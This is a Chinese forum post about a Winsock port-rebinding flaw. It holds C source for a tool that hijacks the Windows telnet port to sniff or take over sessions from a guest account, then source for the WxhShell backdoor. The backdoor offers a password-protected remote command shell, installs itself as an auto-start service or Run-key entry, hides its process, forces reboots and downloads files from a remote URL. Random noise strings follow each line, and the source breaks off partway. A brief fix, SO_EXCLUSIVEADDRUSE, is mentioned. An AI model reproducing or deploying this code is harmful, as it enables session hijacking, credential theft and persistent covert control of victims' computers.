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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3{H&{@Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9(pF!}1 %\  
- jWXE  
  saddr.sin_family = AF_INET; k, >*.Yoh  
JJ4w]Dd4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7!PU}[:  
+. tcEbFL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oZ\zi> Y,  
]Wg&r Y0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z*e`2n#\  
,{Ga7rH*   
  这意味着什么?意味着可以进行如下的攻击: vWVQ8S.  
+HkEbR'G0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w[]\%`69}Z  
7RCVqc"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4WXr~?Vq9  
TH>7XK<90M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5gKXe4}\/|  
=z*SzG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   N~vK8j@  
OICH:(t_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MmH(dp+  
Y$0K}`{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r*f:%epB%  
d$B+xW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %0q)PT\  
}m93AL_y  
  #include w~ O)DhC  
  #include *hlinQKs  
  #include [13NhF3.P  
  #include    Q`!<2i;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zb. ^p X  
  int main() 1 &-%<o  
  { %@^9(xTE  
  WORD wVersionRequested; Pf#DBW*  
  DWORD ret; q'KXn0IY#  
  WSADATA wsaData; ,% *Jm  
  BOOL val; yC\!6pg  
  SOCKADDR_IN saddr; C:ntr=3J  
  SOCKADDR_IN scaddr; (V<pz2\  
  int err; @r]1;KG  
  SOCKET s; 1xjw=  
  SOCKET sc; nJR(lXWO  
  int caddsize; GsiT!OP]y  
  HANDLE mt; U.c~l,5%"  
  DWORD tid;   6ANA oWg*  
  wVersionRequested = MAKEWORD( 2, 2 ); A \-r%&.  
  err = WSAStartup( wVersionRequested, &wsaData ); PMZ*ECIJU  
  if ( err != 0 ) { q DPl( WXb  
  printf("error!WSAStartup failed!\n"); 91|~KR)  
  return -1; jwO7r0?\`G  
  } # B@*-  
  saddr.sin_family = AF_INET; * TByAa{  
   :LLz$[c8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s)}EMDY  
5"z~BE7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TGzs|-  
  saddr.sin_port = htons(23); -?1ed|I8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  rqEP!S^  
  { "O<TNSbrC  
  printf("error!socket failed!\n"); MZS/o3  
  return -1; [m6%_3zV  
  } ;"]?&ri  
  val = TRUE; TlpQ9T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J~lKN <w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lin  
  { O5dBI_  
  printf("error!setsockopt failed!\n"); (d#W3  
  return -1; qb KcI+)47  
  } YJ{_%z|U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ESi-'R&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mhMRY9ahB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4 IXa[xAm  
NT<}-^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i+~H~k}"X  
  { @T)>akEOt  
  ret=GetLastError(); YzYj/,?r  
  printf("error!bind failed!\n"); /Y8{?  
  return -1; }u.1$Y  
  } B+lnxr0t  
  listen(s,2); aj}#~v1  
  while(1) hD,@>ky  
  { VL2ACv(  
  caddsize = sizeof(scaddr); UQ~gjnb[c  
  //接受连接请求 v2}>/b)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <zp|i#~  
  if(sc!=INVALID_SOCKET) 2o1 RJk9  
  { SOeRQb'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZqfoO!Ta  
  if(mt==NULL) (5>IF,}!L  
  { 2YpJ4.  
  printf("Thread Creat Failed!\n"); e89IT*  
  break; \&4)['4,  
  }  G`NGt_C  
  } #.|MV}6rQ  
  CloseHandle(mt); 7-c3^5gn{  
  } X-_0wR  
  closesocket(s); yTh60U  
  WSACleanup(); K!;>/3Y2-  
  return 0; Kbcr-89Gv~  
  }   O>>%lr|  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2x:aMWh  
  { 9On(b|mT  
  SOCKET ss = (SOCKET)lpParam; 4H hQzVM{  
  SOCKET sc; I=|}%WO#  
  unsigned char buf[4096]; H#B97IGT  
  SOCKADDR_IN saddr; P |;=dX#-  
  long num; ?Bsc;:KF  
  DWORD val; !N\i9w}  
  DWORD ret; ^\FOMGai  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3/*<i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $ -M'  
  saddr.sin_family = AF_INET; Bu#\W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mf`@X[-;  
  saddr.sin_port = htons(23); -_fh=}.n+"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v}&J*}_XZ  
  { ]t;bCD6*  
  printf("error!socket failed!\n"); Te@=8-u-  
  return -1; rNeSg=j  
  } zwdi$rM5  
  val = 100; Q9sxI}D )R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \O+Hmi^  
  { ux1SQ8C*  
  ret = GetLastError(); OB\jq!"  
  return -1; JV;-P=o1B  
  } HKYJgx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,dSP%?vV  
  { U\UlQ p?  
  ret = GetLastError(); |oTA $bln  
  return -1; pLsJa?}R  
  } @H|3e@5([  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #<gD@Jybu  
  { nHIW_+<Mf  
  printf("error!socket connect failed!\n");  ui1h M  
  closesocket(sc); fC!+"g55  
  closesocket(ss); (zhi/>suG  
  return -1; u;=a=>05IR  
  } _A=Pr _kN  
  while(1) !KmSLr7xU  
  { g:fzf>oQ>p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H(ds  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~19&s~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9Xeg &Z|!  
  num = recv(ss,buf,4096,0); ?V(h@T  
  if(num>0) S01 Bc  
  send(sc,buf,num,0); 'v_VyK*w  
  else if(num==0) 5hE mXZ%  
  break; fz`\-"f]  
  num = recv(sc,buf,4096,0); LABLT;c  
  if(num>0) yn KgNi  
  send(ss,buf,num,0); 9vJ'9Z2\  
  else if(num==0) ]B9Ut&mF;  
  break; #mH4\s  
  } Oh/2$72  
  closesocket(ss); '{:lP"\,L  
  closesocket(sc); xQ@gh ( (  
  return 0 ; d(;Qe}ok>  
  } DT>Giic  
aDVBi: _  
TZ]o6Bb  
========================================================== \,yX3R3}.~  
kac]Rh8vO  
下边附上一个代码,,WXhSHELL 4 X6_p(  
F;<cG `|Rx  
========================================================== 4%,E;fB?=  
~+bSD<!b  
#include "stdafx.h" P|kfPohI=  
)L%[(iI,x  
#include <stdio.h> 1bpjj'2%x  
#include <string.h> Ah1fcXED  
#include <windows.h> i")ucrf  
#include <winsock2.h> 3NxwQ,~  
#include <winsvc.h> +G lb  
#include <urlmon.h> t.= 1<Ed  
9e'9$-z  
#pragma comment (lib, "Ws2_32.lib") Yb Dz{m  
#pragma comment (lib, "urlmon.lib") ul[+vpH9  
+oRwXO3W  
#define MAX_USER   100 // 最大客户端连接数 LM?UV)  
#define BUF_SOCK   200 // sock buffer 8ZvozQE  
#define KEY_BUFF   255 // 输入 buffer wU)vJsOq  
+N>&b%  
#define REBOOT     0   // 重启 /GMT  
#define SHUTDOWN   1   // 关机 Mh*^@_h?  
GsvB5i  
#define DEF_PORT   5000 // 监听端口 o%$'-N  
Bd-@@d.H<  
#define REG_LEN     16   // 注册表键长度 LSW1,}/B  
#define SVC_LEN     80   // NT服务名长度 +6+!M_0wA  
2JS&zF  
// 从dll定义API _S;Fs|p_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <R @w0b>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  v{ *#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @G:aW\Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N!W2O>VS  
6A*k  
// wxhshell配置信息 QzX|c&&>u2  
struct WSCFG { y759S)U>>p  
  int ws_port;         // 监听端口 B kWoK/f4  
  char ws_passstr[REG_LEN]; // 口令 2'5%EQW;0y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8sGaq [  
  char ws_regname[REG_LEN]; // 注册表键名 *:hHlH* t1  
  char ws_svcname[REG_LEN]; // 服务名 5p`.RWls  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D_)n\(3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zTQTmO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c&n.JV   
int ws_downexe;       // 下载执行标记, 1=yes 0=no '}.Z' %;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !pG_MO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xcA5  
xix: = a  
}; QeZK&^W  
v35=4>Y  
// default Wxhshell configuration Ht!]%  
struct WSCFG wscfg={DEF_PORT, S1oP_A[|  
    "xuhuanlingzhe", Qfd4")zhG  
    1, [ #1<W`95  
    "Wxhshell", 'Z=8no`<  
    "Wxhshell", y0f"UH/   
            "WxhShell Service", yJG M"$  
    "Wrsky Windows CmdShell Service", l=?G"1  
    "Please Input Your Password: ", C AvyS  
  1, BA t0YE`-,  
  "http://www.wrsky.com/wxhshell.exe", yPhTCr5pK  
  "Wxhshell.exe" O0Sk?uJ <  
    }; o9#8q_D9  
R@Kzdeo  
// 消息定义模块 2%*mL98WK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YqSkz|o}m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -kI;yL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U";8zplU  
char *msg_ws_ext="\n\rExit."; ,ThN/GkSC  
char *msg_ws_end="\n\rQuit."; ;u "BCW  
char *msg_ws_boot="\n\rReboot..."; T0=%RID%=  
char *msg_ws_poff="\n\rShutdown..."; \>@QJ  
char *msg_ws_down="\n\rSave to "; zxffjz,Fe:  
oz[: T3oE>  
char *msg_ws_err="\n\rErr!"; `bx}!;{lx  
char *msg_ws_ok="\n\rOK!"; z),@YJU"z  
8C(@a[V  
char ExeFile[MAX_PATH]; 5fqQ;r  
int nUser = 0; "hi)p9 _cR  
HANDLE handles[MAX_USER]; HE0@`(mCpa  
int OsIsNt; 98x&2(N  
>p;cbp[ht  
SERVICE_STATUS       serviceStatus; jdWA)N}kDG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dZ"w2ho  
ROc)LCA  
// 函数声明 z.%K5vrO>  
int Install(void); MmPLJ  
int Uninstall(void); s 8 c#_  
int DownloadFile(char *sURL, SOCKET wsh); WY 'QhieH  
int Boot(int flag); F.[E;gOTo  
void HideProc(void); 4itadQS  
int GetOsVer(void); %;-] HI  
int Wxhshell(SOCKET wsl); u~y0H  
void TalkWithClient(void *cs); fce~a\y0  
int CmdShell(SOCKET sock); r[ }5<S Q  
int StartFromService(void); AV%t<fDG#  
int StartWxhshell(LPSTR lpCmdLine); /$NZj" #  
o+j~~P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sdn4y(&TP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Td"_To@jd  
"cVJqW  
// 数据结构和表定义 K~DQUmU@  
SERVICE_TABLE_ENTRY DispatchTable[] = ] 3UlF'{  
{ g=5vnY  
{wscfg.ws_svcname, NTServiceMain}, XV|u!'Ey  
{NULL, NULL} a(BEm_l3  
}; 6mAaFDI,R  
+P5\N,,7R  
// 自我安装 %SHgXd#X  
int Install(void) v62M8r,Y  
{ dNg5#?mzT5  
  char svExeFile[MAX_PATH]; ?@uyqi~:U  
  HKEY key; C0> Z<z  
  strcpy(svExeFile,ExeFile); 'l7ey3B%  
4gkaCk{]  
// 如果是win9x系统,修改注册表设为自启动 U.,_zEbx,  
if(!OsIsNt) { 6< T@\E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y/(60H,{{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;VI/iwg  
  RegCloseKey(key); mufJ@YS#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `: R7j f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7I0[Ii  
  RegCloseKey(key); S(\<@S&  
  return 0; w#Di  
    } `BOG e;pl  
  } z&a>cjt_;  
} n#Y=y#  
else { %{*A@jQsg  
-m"9v%>Y  
// 如果是NT以上系统,安装为系统服务 2:4:Q[{A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e!hy,O{Pw  
if (schSCManager!=0) o$%I{}9x  
{ f+xhS,iDR  
  SC_HANDLE schService = CreateService T4lE-g2%M  
  ( <T|?`;K  
  schSCManager, W#@Mx  
  wscfg.ws_svcname, V9dJNt'Ui  
  wscfg.ws_svcdisp, 41Nm+$m  
  SERVICE_ALL_ACCESS, zD z"Dn9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;?K>dWf3f  
  SERVICE_AUTO_START, } S,KUH.  
  SERVICE_ERROR_NORMAL, 2QN ~E  
  svExeFile, zlhHSyK  
  NULL, nQ5N\RAZ  
  NULL, z 7 s&7)a  
  NULL, J% mtlA  
  NULL, C1ZuDL)e  
  NULL r]<?,xx [  
  ); )'3V4Z&  
  if (schService!=0) % r>v^1Vo  
  { $(=0J*ND"  
  CloseServiceHandle(schService); }JlrWJRi  
  CloseServiceHandle(schSCManager); L$ki>._i\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7q;wj~  
  strcat(svExeFile,wscfg.ws_svcname); Q]7}" B&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L55VS:'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pX LXkF?  
  RegCloseKey(key); @}+F4Xh,L  
  return 0; Ak'=/`+p  
    } - D&d1`N4  
  } EjDr   
  CloseServiceHandle(schSCManager); qQ T ^d  
} E# UAC2Q  
} 8[\ ~}Q6  
^|j @' @L  
return 1; OB5t+_ s  
} 4;D>s8dgG  
fUV;3du  
// 自我卸载 :% m56  
int Uninstall(void) }xG~ a=,  
{ p1`") $  
  HKEY key; PC55A1(T  
=`W#R  
if(!OsIsNt) { =f\BAi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E WNm }C9  
  RegDeleteValue(key,wscfg.ws_regname); :|PI_ $4H  
  RegCloseKey(key); \>N"{T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L2}p<?f  
  RegDeleteValue(key,wscfg.ws_regname); n{8v^x  
  RegCloseKey(key); z\zqmW6  
  return 0; 2[QyH'"^E  
  } W6Z3UJ-  
} ;cD&qheDV  
} og)f?4  
else { U3OXO 1  
L[a A4`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E~K5n2CI  
if (schSCManager!=0) f C_H0h3  
{ H5X.CcI&}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WN6%%*w  
  if (schService!=0) |:b!e  
  { >uy(N  
  if(DeleteService(schService)!=0) { ;/s##7qf  
  CloseServiceHandle(schService); &wea]./B  
  CloseServiceHandle(schSCManager); Q35jJQ$<`  
  return 0; :211T&B%A_  
  } cOrFe;8-.  
  CloseServiceHandle(schService); j3&tXZ;F  
  } Qt(4N!j  
  CloseServiceHandle(schSCManager); Y'eE({)<K  
} g), t  
} gl>%ADOB@  
{T'M4y=)i  
return 1; gt|:K)[,6  
} \l71Q/y6u`  
]3&BLq  
// 从指定url下载文件 6)j/"9oY  
int DownloadFile(char *sURL, SOCKET wsh) D\-D ~G]x  
{ 7j~}M(s"  
  HRESULT hr; u81@vEK:_  
char seps[]= "/"; Gq0Q}[53  
char *token; >(BAIjF E\  
char *file; ;!Q}g19C  
char myURL[MAX_PATH]; Qf.]Mw?Bm  
char myFILE[MAX_PATH]; 'd |*n#Dqc  
\wM8I-f!  
strcpy(myURL,sURL); >))K%\p   
  token=strtok(myURL,seps); |@Sj:^cJD  
  while(token!=NULL) l invK.Lf  
  { C<yjGt VD  
    file=token; ]aI   
  token=strtok(NULL,seps); X|Rw;FY  
  } 4ztU) 1  
\Jm^XXgS  
GetCurrentDirectory(MAX_PATH,myFILE); >})W5Y+  
strcat(myFILE, "\\"); z 8y.@<6  
strcat(myFILE, file); y41,T&ja  
  send(wsh,myFILE,strlen(myFILE),0); 5Zy%Nam'gN  
send(wsh,"...",3,0); W+`T:Mgh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $c1xh.  
  if(hr==S_OK) =.\PG [  
return 0; ?*dt JL  
else o3,}X@p  
return 1; \SyG#.$  
.Hm1ispq  
} (K`@OwD  
K(75)/  
// 系统电源模块 |$G|M=*LN  
int Boot(int flag) =l+~}/7'Z  
{ j:P(,M[  
  HANDLE hToken; @G?R (  
  TOKEN_PRIVILEGES tkp; H*E4+3y  
}2.0e5[  
  if(OsIsNt) { 9six]T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J|.n bSE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k4+Q$3"  
    tkp.PrivilegeCount = 1; Ux+UcBKm-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 `T2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qLa6c2o,  
if(flag==REBOOT) { yP0XA=,Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0+3{fD/  
  return 0; I08W I u  
} u`Abko<D  
else { ':#DROe!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :)DvZxHE@  
  return 0; Ngw/H)<c  
} ~U+W4%f8  
  } e!oL!Zg  
  else { ]*TW%mY  
if(flag==REBOOT) { xV>sc;PEb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {pz7ADK<  
  return 0; 0;Z] vl/|  
} `L7Cf&W\l8  
else { |{9&!=/qf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }II)<g'  
  return 0; BXa.XZ<n(  
} v%E~sX&CG  
} ykD-L^}  
4`'V%)M  
return 1; $VnPs!a  
} nXAGwU8a  
bmI6OIWl  
// win9x进程隐藏模块 bu,xIT^  
void HideProc(void) a+,zXJQYq  
{ :b"&Rc&s.  
^F g!.X_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oz&RNB.K  
  if ( hKernel != NULL ) 4b  1a?  
  { "9O8#i<Nr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DyM<aT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h {VdW}g  
    FreeLibrary(hKernel); K8 Hj)$E61  
  } #8r1<`']!  
)(-aw,i K  
return; 1a_;(T  
} {+jO/ZQu5  
Q3rLCg,;  
// 获取操作系统版本 @j'GcN vs  
int GetOsVer(void) 6!Uk c'r  
{ K:54`UJ  
  OSVERSIONINFO winfo; v(~EO(n.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rp,Us#>6  
  GetVersionEx(&winfo); _|wnmeL*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eu2(#z 6eW  
  return 1; GxS!Lk  
  else EpB3s{B"  
  return 0; y1#*c$ O  
} ~ugH2jiB  
Y lhKP;  
// 客户端句柄模块 ;"JgNad  
int Wxhshell(SOCKET wsl) 'c#AGi9  
{ k%?qN,Cl  
  SOCKET wsh; >/G[Oo  
  struct sockaddr_in client; MN[D)RKh;  
  DWORD myID;  & {=}U  
[7h/ 2La#  
  while(nUser<MAX_USER) l`r O)7  
{ .s\_H,  
  int nSize=sizeof(client); J6gn!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b]g#mQ  
  if(wsh==INVALID_SOCKET) return 1; ccwz:7r  
g4&f2D5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FXh*!%"*  
if(handles[nUser]==0) SS!b`  
  closesocket(wsh); <[' ucp  
else d"OYq  
  nUser++; 3hfv^H  
  } 5,9cD`WR^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZwM d 22  
3u/ GrsF  
  return 0; N*SUA4bnuM  
} @`XbM7D 5  
EAV6qW\r5]  
// 关闭 socket +Ou<-EQV  
void CloseIt(SOCKET wsh) g1I8_!}~  
{ ~T!D:2G  
closesocket(wsh); }fL ]}&  
nUser--; H $mZ?  
ExitThread(0); ~toR)=Yv  
} <4P.B?-/t  
C=(~[Y  
// 客户端请求句柄 ";TqYk=-  
void TalkWithClient(void *cs) ^f9>tI{  
{ V\=%u<f  
py$i{v%  
  SOCKET wsh=(SOCKET)cs; emIF{oP  
  char pwd[SVC_LEN]; ubQr[/  
  char cmd[KEY_BUFF]; EOXuc9>G  
char chr[1]; [~ !9t9+~  
int i,j; W4"1H0s`l  
)!=fy']  
  while (nUser < MAX_USER) { ??z&w`Yy,  
]0=THq\H  
if(wscfg.ws_passstr) { sN ZOm$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R0e!b+MZ.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C:z7R" yj  
  //ZeroMemory(pwd,KEY_BUFF); IwR=@Ne8  
      i=0; B$MHn?  
  while(i<SVC_LEN) { UaBNoD  
Ls'8  
  // 设置超时 R'qBG(?i  
  fd_set FdRead; Y8for'  
  struct timeval TimeOut; ,qj M1xkL$  
  FD_ZERO(&FdRead); T;v^BVn  
  FD_SET(wsh,&FdRead); S e|h]+G  
  TimeOut.tv_sec=8; |8fdhqy_  
  TimeOut.tv_usec=0; HG^~7oMf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !'Ww%ZL\   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BirnCfj/2  
.&.L@CRH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;iz3Bf1o  
  pwd=chr[0]; zC`ediyu  
  if(chr[0]==0xd || chr[0]==0xa) { 1;HL=F  
  pwd=0; 2]}e4@{  
  break; mh35S!I3I^  
  } 5hfx2 O)  
  i++; J9P\D!  
    } f!G%$?]  
;ZTh(_7  
  // 如果是非法用户,关闭 socket p1s|JI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Up*6K=Tny  
} S+l>@wa)|  
6C!TXV'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4KY@y?H g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j.:f =`xf  
-Fc 9mv(H  
while(1) { kfq<M7y  
o3HS|  
  ZeroMemory(cmd,KEY_BUFF); %>t4ib_8  
*_"lXcG.  
      // 自动支持客户端 telnet标准   orhze Oi\  
  j=0; g_?bWm4br  
  while(j<KEY_BUFF) { ,irc=0M(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4"eeEs h  
  cmd[j]=chr[0]; hA+;eXy/  
  if(chr[0]==0xa || chr[0]==0xd) { M1I4Ot  
  cmd[j]=0; r@ba1*y0  
  break; BJjxy0+  
  } Pt7C/ qM/  
  j++; 1~vv<`-  
    } ZVz*1]}  
*}Rd%'  
  // 下载文件 n"<'F4r  
  if(strstr(cmd,"http://")) { X [;n149o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tvw(S q};  
  if(DownloadFile(cmd,wsh)) y2Vc[o(NP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a KIS%M#Y  
  else 4|NcWpaV7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0$|wj^?U  
  } soqnr" 1  
  else { wD SSgk  
i~tps  
    switch(cmd[0]) { ]#dZLm_  
  q,]57s  
  // 帮助 MT<3OKo?:  
  case '?': { 0p=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c}w[ T  
    break; [yVcH3GcjI  
  } 'h 7n}  
  // 安装 cyWDtq  
  case 'i': { kS_3 7-;  
    if(Install()) 3Z74&a$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]o`FF="at  
    else q[+V6n `Z5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W |+&K0M  
    break; SpZmwa #\  
    } g$mqAz<  
  // 卸载 %Gm4,+8P3o  
  case 'r': { WiFZY*iu5  
    if(Uninstall()) \?AA:U*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jxnb<!|?H@  
    else r8!M8Sc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +N!/>w]n  
    break; |sDp>..  
    } sJ|IW0Mr  
  // 显示 wxhshell 所在路径 #}xPOz7:  
  case 'p': { rH[Eh8j,  
    char svExeFile[MAX_PATH]; A{Q~@1  
    strcpy(svExeFile,"\n\r"); QM'>)!8  
      strcat(svExeFile,ExeFile); 1 w9Aoc  
        send(wsh,svExeFile,strlen(svExeFile),0); i(kr#XsU  
    break; 42 Sk`  
    } LdyE*u_  
  // 重启 =[o/D0-Kn  
  case 'b': { 0*o=JM]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Y5=A!*@tf  
    if(Boot(REBOOT)) 62#8c~ dL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BF]+fs`  
    else { UFUm-~x`  
    closesocket(wsh); rE\.[mFI  
    ExitThread(0);  34~[dY  
    } =Lr# *ep[  
    break; "`5BAv;u  
    } [Kd"M[1[ <  
  // 关机 Zy > W2(<  
